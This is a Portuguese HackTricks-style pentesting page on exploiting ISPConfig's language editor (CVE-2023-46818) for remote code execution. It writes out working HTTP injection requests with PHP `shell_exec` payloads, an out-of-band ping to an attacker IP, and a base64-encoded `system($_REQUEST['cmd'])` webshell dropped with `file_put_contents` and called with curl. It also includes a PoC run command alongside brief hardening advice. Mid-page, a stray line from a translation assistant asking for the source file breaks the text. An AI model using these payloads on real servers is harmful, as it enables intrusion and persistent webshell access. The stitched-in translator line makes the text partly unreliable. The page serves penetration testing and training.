4.3 KiB
ISPConfig
{{#include ../../banners/hacktricks-training.md}}
Visão geral
ISPConfig é um painel de controle de hospedagem open-source. Versões antigas 3.2.x incluíam um recurso de editor de arquivos de idioma que, quando ativado para o superadministrador, permitia a injeção de código PHP arbitrário via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, elevação de privilégios.
Principais caminhos padrão:
- A raiz web costuma estar em
/var/www/ispconfig
quando servida comphp -S
ou via Apache/nginx. - A UI de administração é acessível no vhost HTTP(S) (às vezes vinculada apenas ao localhost; use SSH port-forward se necessário).
Dica: Se o painel estiver vinculado localmente (ex.: 127.0.0.1:8080
), encaminhe-o:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Language editor PHP code injection (CVE-2023-46818)
- Afetado(s): ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Pré-requisitos:
- Faça login com a conta superadmin integrada
admin
(outros papéis não são afetados segundo o fornecedor) - O Language editor deve estar habilitado:
admin_allow_langedit=yes
em/usr/local/ispconfig/security/security_settings.ini
- Impacto: Um admin autenticado pode injetar PHP arbitrário que é escrito em um arquivo de idioma e executado pela aplicação, alcançando RCE no contexto web
Referências: entrada NVD CVE-2023-46818 e link do advisory do fornecedor na seção Referências abaixo.
Fluxo de exploração manual
- Abra/crie um arquivo de idioma para obter tokens CSRF
Envie um primeiro POST para inicializar o formulário e extraia os campos CSRF da resposta HTML (csrf_id
, csrf_key
). Exemplo de caminho de requisição: /admin/language_edit.php
.
- Injete PHP via records[] e salve
Envie um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comando:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Teste fora de banda (observar ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Escrever arquivos e drop a webshell
Use file_put_contents
para criar um arquivo em um caminho acessível via web (por exemplo, admin/
):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Em seguida, escreva um webshell simples usando base64 para evitar caracteres inválidos no corpo do POST:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Por favor, cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md que você quer que eu traduza para o português. Sem o conteúdo não consigo fazer a tradução.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Se o PHP for executado como root (por exemplo, via php -S 127.0.0.1:8080
iniciado pelo root), isso resulta em root RCE imediato. Caso contrário, você obtém execução de código como o usuário do servidor web.
PoC em Python
Um exploit pronto para uso automatiza token handling e payload delivery:
Exemplo de execução:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Hardening
- Atualize para 3.2.11p1 ou posterior
- Desative o language editor a menos que seja estritamente necessário:
admin_allow_langedit=no
- Evite executar o painel como root; configure o PHP-FPM ou o servidor web para reduzir privilégios
- Exija autenticação forte para a conta integrada
admin
Referências
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
{{#include ../../banners/hacktricks-training.md}}